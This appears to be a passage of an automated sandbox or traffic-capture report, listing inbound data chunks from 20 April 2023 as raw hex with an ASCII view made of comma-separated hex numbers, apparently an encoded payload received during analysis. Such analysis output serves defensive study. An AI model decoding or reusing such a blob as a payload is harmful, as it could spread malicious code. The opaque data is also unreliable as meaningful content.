2023-04-20 23:05:20 UTC	16717	IN	Data Raw: 37 38 2c 38 33 2c 36 64 2c 31 31 39 2c 31 32 36 2c 61 30 2c 65 36 2c 31 35 61 2c 39 65 2c 65 30 2c 37 61 2c 38 31 2c 65 39 2c 66 34 2c 31 34 34 2c 31 33 65 2c 63 63 2c 31 31 62 2c 31 30 36 2c 31 30 64 2c 31 34 30 2c 65 33 2c 61 31 2c 66 64 2c 31 32 30 2c 31 34 34 2c 31 33 32 2c 63 34 2c 64 31 2c 31 30 36 2c 31 33 64 2c 61 66 2c 31 33 37 2c 65 32 2c 66 65 2c 36 33 2c 63 31 2c 31 32 36 2c 31 33 64 2c 39 66 2c 39 37 2c 31 31 62 2c 66 34 2c 63 38 2c 31 32 36 2c 66 31 2c 63 36 2c 65 33 2c 62 38 2c 31 33 63 2c 34 30 2c 39 30 2c 64 32 2c 34 61 2c 36 65 2c 35 62 2c 64 39 2c 31 32 61 2c 65 33 2c 66 35 2c 31 36 31 2c 36 63 2c 61 63 2c 66 30 2c 65 63 2c 31 31 37 2c 31 30 33 2c 31 30 62 2c 31 33 33 2c 31 32 64 2c 63 62 2c 31 34 32 2c 31 32 37 2c 31 32 39 2c 38 63 2c Data Ascii: 78,83,6d,119,126,a0,e6,15a,9e,e0,7a,81,e9,f4,144,13e,cc,11b,106,10d,140,e3,a1,fd,120,144,132,c4,d1,106,13d,af,137,e2,fe,63,c1,126,13d,9f,97,11b,f4,c8,126,f1,c6,e3,b8,13c,40,90,d2,4a,6e,5b,d9,12a,e3,f5,161,6c,ac,f0,ec,117,103,10b,133,12d,cb,142,127,129,8c,
2023-04-20 23:05:20 UTC	16733	IN	Data Raw: 34 33 2c 31 37 32 2c 65 36 2c 38 64 2c 65 61 2c 39 34 2c 39 35 2c 31 30 34 2c 35 38 2c 63 64 2c 31 32 30 2c 36 65 2c 31 33 33 2c 63 66 2c 31 32 34 2c 63 39 2c 31 32 62 2c 65 39 2c 64 39 2c 64 32 2c 31 30 38 2c 31 34 32 2c 38 39 2c 31 31 31 2c 38 64 2c 31 33 35 2c 62 62 2c 62 39 2c 31 31 66 2c 62 61 2c 36 37 2c 35 62 2c 64 37 2c 38 66 2c 37 39 2c 31 32 30 2c 64 39 2c 37 36 2c 66 31 2c 38 30 2c 31 30 62 2c 31 32 33 2c 31 34 36 2c 65 38 2c 63 63 2c 31 33 31 2c 31 32 63 2c 63 34 2c 36 61 2c 61 63 2c 66 36 2c 37 63 2c 31 30 37 2c 66 65 2c 33 61 2c 39 32 2c 31 31 64 2c 35 63 2c 31 31 66 2c 62 36 2c 31 30 39 2c 38 36 2c 62 66 2c 31 32 37 2c 65 33 2c 31 32 31 2c 31 31 37 2c 39 30 2c 31 31 33 2c 62 31 2c 64 61 2c 31 32 65 2c 38 30 2c 64 34 2c 31 36 65 2c 31 32 32 Data Ascii: 43,172,e6,8d,ea,94,95,104,58,cd,120,6e,133,cf,124,c9,12b,e9,d9,d2,108,142,89,111,8d,135,bb,b9,11f,ba,67,5b,d7,8f,79,120,d9,76,f1,80,10b,123,146,e8,cc,131,12c,c4,6a,ac,f6,7c,107,fe,3a,92,11d,5c,11f,b6,109,86,bf,127,e3,121,117,90,113,b1,da,12e,80,d4,16e,122
2023-04-20 23:05:20 UTC	16749	IN	Data Raw: 2c 36 37 2c 39 64 2c 65 61 2c 66 32 2c 39 64 2c 64 30 2c 31 31 39 2c 31 33 36 2c 31 36 33 2c 31 31 63 2c 61 35 2c 35 63 2c 65 35 2c 63 35 2c 31 32 39 2c 61 32 2c 64 39 2c 31 32 63 2c 31 32 66 2c 63 66 2c 66 66 2c 31 32 32 2c 31 33 31 2c 31 36 30 2c 39 61 2c 63 30 2c 64 33 2c 38 36 2c 31 31 65 2c 31 31 39 2c 38 64 2c 31 30 32 2c 36 38 2c 66 32 2c 38 65 2c 39 64 2c 31 30 61 2c 35 35 2c 64 39 2c 31 30 31 2c 65 38 2c 37 31 2c 39 35 2c 66 36 2c 31 33 39 2c 38 66 2c 31 33 36 2c 65 62 2c 39 31 2c 31 32 31 2c 61 33 2c 31 30 61 2c 31 34 37 2c 38 63 2c 31 34 63 2c 31 32 63 2c 35 35 2c 61 30 2c 36 33 2c 62 63 2c 31 33 65 2c 31 32 64 2c 35 33 2c 66 65 2c 31 33 30 2c 64 32 2c 39 34 2c 31 36 31 2c 31 36 35 2c 61 33 2c 63 34 2c 38 38 2c 31 36 65 2c 31 31 32 2c 31 33 61 Data Ascii: ,67,9d,ea,f2,9d,d0,119,136,163,11c,a5,5c,e5,c5,129,a2,d9,12c,12f,cf,ff,122,131,160,9a,c0,d3,86,11e,119,8d,102,68,f2,8e,9d,10a,55,d9,101,e8,71,95,f6,139,8f,136,eb,91,121,a3,10a,147,8c,14c,12c,55,a0,63,bc,13e,12d,53,fe,130,d2,94,161,165,a3,c4,88,16e,112,13a
2023-04-20 23:05:20 UTC	16765	IN	Data Raw: 2c 37 38 2c 61 62 2c 65 36 2c 65 38 2c 64 66 2c 39 65 2c 35 38 2c 39 30 2c 31 31 64 2c 37 66 2c 65 30 2c 31 33 63 2c 31 31 61 2c 31 31 39 2c 36 66 2c 39 35 2c 38 36 2c 65 34 2c 37 38 2c 31 32 30 2c 31 33 30 2c 63 34 2c 39 34 2c 39 34 2c 66 30 2c 36 62 2c 31 31 35 2c 31 35 36 2c 31 33 38 2c 31 31 38 2c 31 32 35 2c 39 33 2c 31 34 30 2c 31 31 64 2c 63 65 2c 66 38 2c 39 63 2c 31 34 33 2c 36 31 2c 62 66 2c 62 31 2c 65 32 2c 65 33 2c 31 33 33 2c 37 37 2c 31 34 62 2c 62 64 2c 66 61 2c 66 38 2c 33 64 2c 31 30 31 2c 39 65 2c 65 66 2c 36 37 2c 66 61 2c 39 65 2c 36 63 2c 31 30 35 2c 31 32 31 2c 31 30 34 2c 31 31 66 2c 64 65 2c 65 65 2c 37 61 2c 62 31 2c 31 30 39 2c 63 33 2c 66 66 2c 61 34 2c 64 32 2c 35 35 2c 31 34 31 2c 31 35 65 2c 38 38 2c 63 31 2c 66 32 2c 31 35 Data Ascii: ,78,ab,e6,e8,df,9e,58,90,11d,7f,e0,13c,11a,119,6f,95,86,e4,78,120,130,c4,94,94,f0,6b,115,156,138,118,125,93,140,11d,ce,f8,9c,143,61,bf,b1,e2,e3,133,77,14b,bd,fa,f8,3d,101,9e,ef,67,fa,9e,6c,105,121,104,11f,de,ee,7a,b1,109,c3,ff,a4,d2,55,141,15e,88,c1,f2,15
2023-04-20 23:05:20 UTC	16781	IN	Data Raw: 35 65 2c 66 63 2c 65 33 2c 31 33 62 2c 65 63 2c 31 34 63 2c 31 31 39 2c 66 39 2c 36 37 2c 38 38 2c 31 35 64 2c 36 30 2c 37 34 2c 61 30 2c 63 62 2c 31 35 30 2c 31 33 64 2c 31 30 36 2c 39 66 2c 39 37 2c 31 31 65 2c 34 36 2c 31 35 37 2c 31 35 64 2c 31 32 36 2c 31 31 39 2c 62 36 2c 37 38 2c 31 33 36 2c 66 35 2c 62 66 2c 39 32 2c 66 37 2c 31 31 36 2c 31 34 62 2c 62 39 2c 38 31 2c 61 39 2c 64 66 2c 31 33 30 2c 61 36 2c 64 62 2c 31 36 38 2c 31 32 32 2c 64 39 2c 31 32 64 2c 34 34 2c 31 32 32 2c 31 30 32 2c 62 65 2c 31 30 39 2c 62 35 2c 64 64 2c 38 30 2c 31 37 31 2c 31 31 36 2c 39 32 2c 31 31 35 2c 65 33 2c 31 36 31 2c 39 63 2c 63 35 2c 61 63 2c 61 32 2c 62 36 2c 37 35 2c 65 39 2c 31 31 37 2c 31 35 38 2c 62 61 2c 36 66 2c 31 32 37 2c 37 37 2c 31 35 33 2c 38 30 2c Data Ascii: 5e,fc,e3,13b,ec,14c,119,f9,67,88,15d,60,74,a0,cb,150,13d,106,9f,97,11e,46,157,15d,126,119,b6,78,136,f5,bf,92,f7,116,14b,b9,81,a9,df,130,a6,db,168,122,d9,12d,44,122,102,be,109,b5,dd,80,171,116,92,115,e3,161,9c,c5,ac,a2,b6,75,e9,117,158,ba,6f,127,77,153,80,
2023-04-20 23:05:20 UTC	16797	IN	Data Raw: 33 35 2c 31 33 31 2c 38 34 2c 65 32 2c 38 62 2c 31 32 33 2c 39 38 2c 39 65 2c 31 35 36 2c 31 33 62 2c 63 32 2c 37 35 2c 31 35 37 2c 37 36 2c 36 34 2c 31 31 31 2c 65 63 2c 38 30 2c 62 66 2c 31 30 63 2c 31 30 64 2c 39 31 2c 65 61 2c 31 30 37 2c 36 65 2c 31 31 64 2c 65 37 2c 64 35 2c 31 32 61 2c 31 31 63 2c 39 37 2c 39 36 2c 31 31 66 2c 39 63 2c 64 62 2c 63 30 2c 31 30 62 2c 66 35 2c 37 38 2c 64 63 2c 31 35 37 2c 66 36 2c 36 64 2c 31 34 36 2c 66 34 2c 35 33 2c 66 34 2c 66 64 2c 62 38 2c 31 32 39 2c 31 30 34 2c 31 31 32 2c 38 37 2c 37 61 2c 31 34 35 2c 66 65 2c 31 34 62 2c 37 33 2c 61 35 2c 38 65 2c 61 36 2c 31 34 38 2c 31 34 35 2c 39 39 2c 37 39 2c 31 34 35 2c 65 34 2c 31 30 30 2c 35 35 2c 31 32 32 2c 66 62 2c 31 37 31 2c 64 64 2c 37 64 2c 34 34 2c 31 32 35 Data Ascii: 35,131,84,e2,8b,123,98,9e,156,13b,c2,75,157,76,64,111,ec,80,bf,10c,10d,91,ea,107,6e,11d,e7,d5,12a,11c,97,96,11f,9c,db,c0,10b,f5,78,dc,157,f6,6d,146,f4,53,f4,fd,b8,129,104,112,87,7a,145,fe,14b,73,a5,8e,a6,148,145,99,79,145,e4,100,55,122,fb,171,dd,7d,44,125
2023-04-20 23:05:20 UTC	16813	IN	Data Raw: 2c 38 39 2c 31 32 33 2c 35 30 2c 65 65 2c 35 39 2c 39 38 2c 31 33 39 2c 62 63 2c 37 35 2c 31 30 39 2c 64 66 2c 39 34 2c 64 35 2c 35 36 2c 31 32 65 2c 39 65 2c 39 30 2c 62 33 2c 62 38 2c 31 34 62 2c 31 35 62 2c 65 32 2c 36 39 2c 31 30 62 2c 31 31 64 2c 31 32 32 2c 36 61 2c 31 31 66 2c 36 61 2c 39 65 2c 65 38 2c 36 35 2c 37 65 2c 31 35 31 2c 66 65 2c 36 33 2c 31 32 66 2c 62 37 2c 66 66 2c 37 61 2c 31 33 34 2c 38 32 2c 64 38 2c 63 34 2c 62 65 2c 61 63 2c 39 38 2c 66 63 2c 39 37 2c 37 36 2c 37 62 2c 63 36 2c 31 30 38 2c 31 34 31 2c 31 32 63 2c 35 30 2c 31 30 61 2c 62 30 2c 31 30 64 2c 36 32 2c 62 38 2c 61 65 2c 64 65 2c 39 65 2c 64 63 2c 31 35 34 2c 61 30 2c 31 32 65 2c 31 31 35 2c 63 36 2c 31 32 64 2c 31 36 32 2c 66 64 2c 31 30 33 2c 64 33 2c 31 30 33 2c 31 Data Ascii: ,89,123,50,ee,59,98,139,bc,75,109,df,94,d5,56,12e,9e,90,b3,b8,14b,15b,e2,69,10b,11d,122,6a,11f,6a,9e,e8,65,7e,151,fe,63,12f,b7,ff,7a,134,82,d8,c4,be,ac,98,fc,97,76,7b,c6,108,141,12c,50,10a,b0,10d,62,b8,ae,de,9e,dc,154,a0,12e,115,c6,12d,162,fd,103,d3,103,1
2023-04-20 23:05:20 UTC	16829	IN	Data Raw: 2c 37 65 2c 36 37 2c 65 65 2c 38 30 2c 31 33 39 2c 63 39 2c 31 32 38 2c 38 39 2c 31 31 36 2c 65 65 2c 63 37 2c 31 30 32 2c 66 62 2c 62 63 2c 31 30 37 2c 61 65 2c 39 65 2c 31 32 63 2c 62 35 2c 66 39 2c 63 63 2c 65 66 2c 31 30 64 2c 66 65 2c 61 34 2c 31 33 65 2c 62 36 2c 37 62 2c 31 32 35 2c 61 32 2c 34 34 2c 31 30 64 2c 35 36 2c 64 34 2c 65 34 2c 62 61 2c 31 31 64 2c 39 34 2c 31 31 61 2c 31 35 30 2c 31 35 34 2c 31 36 36 2c 65 34 2c 37 61 2c 31 33 38 2c 61 31 2c 62 64 2c 66 30 2c 37 62 2c 66 31 2c 62 31 2c 31 30 34 2c 61 30 2c 38 38 2c 63 35 2c 62 36 2c 61 39 2c 35 36 2c 36 64 2c 31 31 31 2c 35 64 2c 31 30 63 2c 61 34 2c 62 39 2c 63 38 2c 63 39 2c 62 34 2c 31 30 34 2c 38 30 2c 36 63 2c 62 31 2c 64 38 2c 64 38 2c 61 66 2c 65 37 2c 31 30 39 2c 38 64 2c 63 38 Data Ascii: ,7e,67,ee,80,139,c9,128,89,116,ee,c7,102,fb,bc,107,ae,9e,12c,b5,f9,cc,ef,10d,fe,a4,13e,b6,7b,125,a2,44,10d,56,d4,e4,ba,11d,94,11a,150,154,166,e4,7a,138,a1,bd,f0,7b,f1,b1,104,a0,88,c5,b6,a9,56,6d,111,5d,10c,a4,b9,c8,c9,b4,104,80,6c,b1,d8,d8,af,e7,109,8d,c8
2023-04-20 23:05:21 UTC	16845	IN	Data Raw: 33 2c 39 37 2c 31 30 65 2c 63 34 2c 62 62 2c 31 33 63 2c 37 38 2c 31 34 37 2c 31 32 39 2c 64 64 2c 38 37 2c 66 38 2c 37 32 2c 31 34 36 2c 66 63 2c 31 31 35 2c 31 33 64 2c 65 33 2c 31 33 34 2c 37 65 2c 31 30 64 2c 64 64 2c 31 34 32 2c 65 38 2c 38 63 2c 39 63 2c 37 33 2c 31 32 61 2c 65 61 2c 65 36 2c 63 62 2c 62 39 2c 31 30 30 2c 61 34 2c 39 34 2c 65 34 2c 36 38 2c 39 36 2c 31 31 39 2c 64 61 2c 64 61 2c 61 39 2c 33 65 2c 31 33 39 2c 31 31 34 2c 61 61 2c 66 38 2c 66 35 2c 64 62 2c 39 37 2c 63 38 2c 31 34 39 2c 61 31 2c 39 34 2c 37 36 2c 65 35 2c 31 32 62 2c 65 64 2c 31 31 38 2c 31 30 61 2c 62 37 2c 35 65 2c 64 63 2c 31 32 36 2c 31 30 61 2c 62 61 2c 36 33 2c 39 65 2c 66 30 2c 65 34 2c 31 33 65 2c 31 34 31 2c 31 32 64 2c 31 32 38 2c 65 63 2c 64 66 2c 34 33 2c Data Ascii: 3,97,10e,c4,bb,13c,78,147,129,dd,87,f8,72,146,fc,115,13d,e3,134,7e,10d,dd,142,e8,8c,9c,73,12a,ea,e6,cb,b9,100,a4,94,e4,68,96,119,da,da,a9,3e,139,114,aa,f8,f5,db,97,c8,149,a1,94,76,e5,12b,ed,118,10a,b7,5e,dc,126,10a,ba,63,9e,f0,e4,13e,141,12d,128,ec,df,43,
2023-04-20 23:05:21 UTC	16861	IN	Data Raw: 65 39 2c 36 32 2c 62 61 2c 31 34 30 2c 62 36 2c 34 61 2c 63 39 2c 66 35 2c 35 39 2c 36 36 2c 63 62 2c 66 38 2c 31 35 37 2c 31 36 38 2c 66 65 2c 31 34 39 2c 39 35 2c 63 30 2c 31 35 34 2c 31 35 31 2c 38 64 2c 63 31 2c 39 30 2c 61 63 2c 36 39 2c 36 66 2c 31 35 61 2c 62 39 2c 31 31 36 2c 61 63 2c 31 36 64 2c 63 35 2c 37 65 2c 64 34 2c 39 63 2c 31 34 61 2c 37 64 2c 31 31 39 2c 63 34 2c 31 35 32 2c 37 36 2c 31 32 33 2c 31 31 31 2c 31 31 30 2c 62 30 2c 38 38 2c 39 63 2c 65 34 2c 36 38 2c 62 61 2c 31 30 33 2c 31 35 31 2c 65 62 2c 36 39 2c 34 34 2c 62 66 2c 38 36 2c 31 30 32 2c 31 33 39 2c 31 33 38 2c 39 35 2c 31 32 38 2c 31 35 34 2c 66 37 2c 64 32 2c 31 30 31 2c 31 31 63 2c 63 61 2c 62 38 2c 31 30 39 2c 63 37 2c 31 33 61 2c 37 61 2c 65 61 2c 31 32 37 2c 39 66 2c Data Ascii: e9,62,ba,140,b6,4a,c9,f5,59,66,cb,f8,157,168,fe,149,95,c0,154,151,8d,c1,90,ac,69,6f,15a,b9,116,ac,16d,c5,7e,d4,9c,14a,7d,119,c4,152,76,123,111,110,b0,88,9c,e4,68,ba,103,151,eb,69,44,bf,86,102,139,138,95,128,154,f7,d2,101,11c,ca,b8,109,c7,13a,7a,ea,127,9f,
2023-04-20 23:05:21 UTC	16877	IN	Data Raw: 32 33 2c 31 32 33 2c 31 35 39 2c 31 31 30 2c 31 31 65 2c 33 31 2c 62 33 2c 65 31 2c 36 32 2c 64 30 2c 38 34 2c 31 34 63 2c 66 31 2c 31 31 34 2c 64 33 2c 31 30 31 2c 38 34 2c 31 32 32 2c 66 63 2c 31 32 33 2c 36 39 2c 66 38 2c 31 32 34 2c 36 36 2c 36 61 2c 31 32 65 2c 66 35 2c 61 37 2c 33 36 2c 65 37 2c 64 64 2c 66 36 2c 31 31 65 2c 62 39 2c 31 36 37 2c 66 30 2c 31 31 64 2c 35 61 2c 64 37 2c 36 66 2c 61 66 2c 64 32 2c 31 32 61 2c 62 65 2c 31 36 61 2c 38 34 2c 61 30 2c 61 38 2c 39 62 2c 38 36 2c 63 34 2c 63 34 2c 37 66 2c 31 30 35 2c 37 62 2c 31 31 32 2c 31 35 31 2c 63 30 2c 31 30 35 2c 66 65 2c 62 62 2c 63 37 2c 64 33 2c 39 62 2c 66 39 2c 61 62 2c 31 35 30 2c 31 32 35 2c 31 31 31 2c 61 64 2c 31 35 35 2c 34 64 2c 66 35 2c 38 66 2c 31 30 30 2c 64 62 2c 37 31 Data Ascii: 23,123,159,110,11e,31,b3,e1,62,d0,84,14c,f1,114,d3,101,84,122,fc,123,69,f8,124,66,6a,12e,f5,a7,36,e7,dd,f6,11e,b9,167,f0,11d,5a,d7,6f,af,d2,12a,be,16a,84,a0,a8,9b,86,c4,c4,7f,105,7b,112,151,c0,105,fe,bb,c7,d3,9b,f9,ab,150,125,111,ad,155,4d,f5,8f,100,db,71
2023-04-20 23:05:21 UTC	16893	IN	Data Raw: 36 32 2c 66 62 2c 31 30 39 2c 31 30 37 2c 31 32 34 2c 63 63 2c 66 63 2c 31 34 64 2c 31 32 39 2c 31 30 63 2c 31 33 38 2c 31 32 32 2c 31 34 66 2c 37 61 2c 31 34 34 2c 31 31 30 2c 31 33 63 2c 66 33 2c 65 34 2c 31 32 36 2c 31 32 38 2c 31 31 32 2c 31 36 37 2c 65 66 2c 31 32 63 2c 31 30 36 2c 35 34 2c 64 30 2c 65 36 2c 66 30 2c 37 35 2c 31 33 39 2c 36 61 2c 31 30 30 2c 66 33 2c 31 33 31 2c 31 32 37 2c 31 31 38 2c 38 32 2c 35 66 2c 31 32 38 2c 63 39 2c 65 65 2c 31 31 33 2c 31 33 39 2c 63 33 2c 31 30 32 2c 63 65 2c 31 33 62 2c 66 34 2c 31 32 34 2c 31 31 65 2c 31 33 36 2c 31 32 33 2c 31 33 62 2c 65 33 2c 66 64 2c 64 37 2c 31 33 62 2c 61 39 2c 31 33 32 2c 31 30 63 2c 36 63 2c 31 32 63 2c 39 65 2c 38 31 2c 36 38 2c 31 35 34 2c 31 31 36 2c 31 30 38 2c 36 36 2c 31 34 Data Ascii: 62,fb,109,107,124,cc,fc,14d,129,10c,138,122,14f,7a,144,110,13c,f3,e4,126,128,112,167,ef,12c,106,54,d0,e6,f0,75,139,6a,100,f3,131,127,118,82,5f,128,c9,ee,113,139,c3,102,ce,13b,f4,124,11e,136,123,13b,e3,fd,d7,13b,a9,132,10c,6c,12c,9e,81,68,154,116,108,66,14
2023-04-20 23:05:21 UTC	16909	IN	Data Raw: 62 2c 35 30 2c 31 30 36 2c 31 35 30 2c 31 31 31 2c 37 35 2c 31 31 31 2c 31 35 66 2c 66 33 2c 31 31 39 2c 39 62 2c 31 34 32 2c 63 65 2c 61 36 2c 31 34 65 2c 31 35 31 2c 36 64 2c 31 34 30 2c 66 65 2c 35 38 2c 63 32 2c 31 32 36 2c 65 30 2c 31 35 39 2c 64 34 2c 31 32 38 2c 31 32 38 2c 31 35 63 2c 37 34 2c 36 37 2c 31 32 65 2c 64 36 2c 37 61 2c 36 61 2c 36 63 2c 64 66 2c 31 31 32 2c 31 30 33 2c 62 36 2c 62 34 2c 31 32 62 2c 61 37 2c 31 30 35 2c 66 36 2c 31 30 66 2c 31 37 36 2c 62 32 2c 31 30 30 2c 66 33 2c 36 65 2c 61 37 2c 31 33 34 2c 31 30 65 2c 36 66 2c 31 30 39 2c 31 35 64 2c 61 32 2c 31 32 65 2c 63 35 2c 31 33 64 2c 63 39 2c 66 30 2c 64 63 2c 31 33 34 2c 62 30 2c 35 33 2c 66 31 2c 31 31 65 2c 31 31 31 2c 35 35 2c 31 32 38 2c 31 35 66 2c 31 32 64 2c 37 35 Data Ascii: b,50,106,150,111,75,111,15f,f3,119,9b,142,ce,a6,14e,151,6d,140,fe,58,c2,126,e0,159,d4,128,128,15c,74,67,12e,d6,7a,6a,6c,df,112,103,b6,b4,12b,a7,105,f6,10f,176,b2,100,f3,6e,a7,134,10e,6f,109,15d,a2,12e,c5,13d,c9,f0,dc,134,b0,53,f1,11e,111,55,128,15f,12d,75
2023-04-20 23:05:21 UTC	16925	IN	Data Raw: 32 2c 31 33 33 2c 39 30 2c 64 32 2c 36 39 2c 38 38 2c 34 34 2c 31 30 36 2c 31 30 32 2c 38 65 2c 65 30 2c 31 33 63 2c 31 33 63 2c 63 64 2c 64 39 2c 61 65 2c 35 61 2c 31 33 36 2c 31 30 62 2c 37 61 2c 31 34 61 2c 31 30 36 2c 66 63 2c 31 34 65 2c 33 65 2c 31 34 38 2c 31 30 63 2c 31 31 62 2c 38 38 2c 65 31 2c 33 34 2c 31 36 35 2c 62 62 2c 31 32 30 2c 66 37 2c 31 31 31 2c 64 65 2c 31 34 38 2c 63 32 2c 31 30 34 2c 64 65 2c 31 34 63 2c 38 32 2c 65 66 2c 31 33 63 2c 31 31 34 2c 63 62 2c 31 31 62 2c 31 30 66 2c 31 34 33 2c 31 33 66 2c 62 39 2c 31 30 65 2c 62 37 2c 31 34 34 2c 36 62 2c 36 65 2c 31 30 63 2c 31 33 31 2c 31 31 36 2c 31 32 63 2c 31 32 32 2c 37 66 2c 62 38 2c 66 66 2c 31 31 34 2c 62 38 2c 31 35 36 2c 65 34 2c 61 66 2c 31 30 35 2c 65 32 2c 31 33 63 2c 31 Data Ascii: 2,133,90,d2,69,88,44,106,102,8e,e0,13c,13c,cd,d9,ae,5a,136,10b,7a,14a,106,fc,14e,3e,148,10c,11b,88,e1,34,165,bb,120,f7,111,de,148,c2,104,de,14c,82,ef,13c,114,cb,11b,10f,143,13f,b9,10e,b7,144,6b,6e,10c,131,116,12c,122,7f,b8,ff,114,b8,156,e4,af,105,e2,13c,1
2023-04-20 23:05:21 UTC	16941	IN	Data Raw: 2c 65 37 2c 39 39 2c 31 35 36 2c 66 37 2c 66 37 2c 35 30 2c 66 35 2c 37 64 2c 62 66 2c 31 31 36 2c 31 33 66 2c 38 35 2c 31 33 32 2c 35 64 2c 31 31 61 2c 64 61 2c 39 62 2c 31 31 39 2c 39 37 2c 37 61 2c 62 39 2c 38 65 2c 62 35 2c 31 32 38 2c 35 62 2c 66 63 2c 31 33 33 2c 65 37 2c 36 38 2c 31 34 36 2c 31 31 33 2c 61 61 2c 31 32 33 2c 64 33 2c 61 63 2c 65 31 2c 66 36 2c 61 34 2c 39 31 2c 31 32 65 2c 31 33 36 2c 36 32 2c 37 64 2c 65 30 2c 66 33 2c 38 30 2c 31 33 34 2c 31 30 66 2c 63 34 2c 31 32 65 2c 64 37 2c 31 33 63 2c 66 38 2c 38 38 2c 62 63 2c 66 38 2c 39 62 2c 61 65 2c 65 62 2c 65 64 2c 31 30 39 2c 31 34 38 2c 65 38 2c 31 33 38 2c 31 34 34 2c 39 36 2c 31 35 38 2c 65 36 2c 66 63 2c 31 33 64 2c 64 38 2c 31 30 66 2c 64 39 2c 31 32 31 2c 65 38 2c 31 31 31 2c Data Ascii: ,e7,99,156,f7,f7,50,f5,7d,bf,116,13f,85,132,5d,11a,da,9b,119,97,7a,b9,8e,b5,128,5b,fc,133,e7,68,146,113,aa,123,d3,ac,e1,f6,a4,91,12e,136,62,7d,e0,f3,80,134,10f,c4,12e,d7,13c,f8,88,bc,f8,9b,ae,eb,ed,109,148,e8,138,144,96,158,e6,fc,13d,d8,10f,d9,121,e8,111,
2023-04-20 23:05:21 UTC	16957	IN	Data Raw: 2c 35 61 2c 61 30 2c 31 32 33 2c 36 66 2c 38 64 2c 31 33 65 2c 63 31 2c 37 66 2c 31 31 36 2c 31 34 63 2c 38 35 2c 31 31 31 2c 66 36 2c 34 34 2c 66 38 2c 31 34 35 2c 34 38 2c 31 33 31 2c 31 30 33 2c 31 37 32 2c 31 32 38 2c 65 65 2c 61 32 2c 31 30 64 2c 31 30 30 2c 37 64 2c 31 34 37 2c 36 62 2c 65 32 2c 63 39 2c 62 33 2c 39 36 2c 63 63 2c 37 61 2c 63 35 2c 63 30 2c 64 38 2c 31 30 61 2c 37 64 2c 63 39 2c 66 39 2c 31 30 62 2c 31 30 66 2c 31 30 38 2c 31 32 66 2c 34 34 2c 65 37 2c 64 63 2c 36 64 2c 36 34 2c 39 30 2c 31 30 64 2c 31 34 38 2c 39 65 2c 36 30 2c 38 34 2c 31 30 31 2c 36 61 2c 31 35 32 2c 31 30 38 2c 65 37 2c 31 31 35 2c 61 39 2c 31 32 61 2c 65 32 2c 31 36 32 2c 61 38 2c 66 61 2c 31 31 61 2c 34 64 2c 31 31 63 2c 31 30 66 2c 65 36 2c 62 66 2c 39 36 2c Data Ascii: ,5a,a0,123,6f,8d,13e,c1,7f,116,14c,85,111,f6,44,f8,145,48,131,103,172,128,ee,a2,10d,100,7d,147,6b,e2,c9,b3,96,cc,7a,c5,c0,d8,10a,7d,c9,f9,10b,10f,108,12f,44,e7,dc,6d,64,90,10d,148,9e,60,84,101,6a,152,108,e7,115,a9,12a,e2,162,a8,fa,11a,4d,11c,10f,e6,bf,96,
2023-04-20 23:05:21 UTC	16973	IN	Data Raw: 65 2c 35 34 2c 31 32 36 2c 63 34 2c 31 33 38 2c 31 30 33 2c 65 36 2c 61 33 2c 35 39 2c 33 35 2c 39 32 2c 31 30 30 2c 31 30 37 2c 64 65 2c 31 32 39 2c 63 62 2c 61 38 2c 31 33 64 2c 39 34 2c 33 35 2c 31 33 61 2c 63 37 2c 31 30 61 2c 65 38 2c 63 64 2c 36 63 2c 37 30 2c 35 37 2c 61 30 2c 31 31 61 2c 66 34 2c 64 61 2c 31 33 38 2c 39 62 2c 39 63 2c 31 32 30 2c 62 64 2c 38 30 2c 31 32 33 2c 63 37 2c 65 65 2c 63 62 2c 63 34 2c 31 32 65 2c 35 63 2c 39 37 2c 31 30 34 2c 31 31 64 2c 65 34 2c 65 37 2c 31 32 63 2c 35 32 2c 36 65 2c 31 32 34 2c 31 35 64 2c 62 61 2c 36 32 2c 66 32 2c 63 31 2c 35 36 2c 31 32 34 2c 39 37 2c 31 34 39 2c 31 34 37 2c 31 31 61 2c 66 66 2c 31 33 31 2c 39 31 2c 63 32 2c 31 30 34 2c 62 39 2c 66 34 2c 35 39 2c 61 36 2c 31 34 35 2c 65 33 2c 64 32 Data Ascii: e,54,126,c4,138,103,e6,a3,59,35,92,100,107,de,129,cb,a8,13d,94,35,13a,c7,10a,e8,cd,6c,70,57,a0,11a,f4,da,138,9b,9c,120,bd,80,123,c7,ee,cb,c4,12e,5c,97,104,11d,e4,e7,12c,52,6e,124,15d,ba,62,f2,c1,56,124,97,149,147,11a,ff,131,91,c2,104,b9,f4,59,a6,145,e3,d2
2023-04-20 23:05:21 UTC	16989	IN	Data Raw: 65 64 2c 31 32 62 2c 37 33 2c 35 39 2c 31 32 32 2c 31 31 64 2c 62 63 2c 37 31 2c 31 35 36 2c 66 32 2c 31 31 66 2c 36 30 2c 31 33 64 2c 38 33 2c 62 39 2c 31 31 32 2c 63 66 2c 63 61 2c 31 30 32 2c 31 30 61 2c 63 31 2c 36 66 2c 31 31 61 2c 31 32 34 2c 31 30 31 2c 36 63 2c 66 62 2c 31 35 66 2c 61 33 2c 35 62 2c 31 32 30 2c 61 65 2c 31 30 34 2c 31 33 61 2c 31 33 66 2c 31 30 65 2c 65 34 2c 65 36 2c 65 35 2c 35 63 2c 31 36 38 2c 31 32 39 2c 31 35 31 2c 36 34 2c 31 30 38 2c 31 34 33 2c 61 36 2c 31 31 38 2c 65 33 2c 38 32 2c 31 30 31 2c 36 32 2c 66 32 2c 61 39 2c 66 62 2c 65 31 2c 62 63 2c 64 38 2c 39 32 2c 31 30 39 2c 64 61 2c 64 35 2c 31 33 63 2c 39 37 2c 62 64 2c 64 35 2c 66 30 2c 39 38 2c 38 33 2c 31 32 62 2c 36 35 2c 37 66 2c 63 38 2c 39 35 2c 38 62 2c 35 33 Data Ascii: ed,12b,73,59,122,11d,bc,71,156,f2,11f,60,13d,83,b9,112,cf,ca,102,10a,c1,6f,11a,124,101,6c,fb,15f,a3,5b,120,ae,104,13a,13f,10e,e4,e6,e5,5c,168,129,151,64,108,143,a6,118,e3,82,101,62,f2,a9,fb,e1,bc,d8,92,109,da,d5,13c,97,bd,d5,f0,98,83,12b,65,7f,c8,95,8b,53
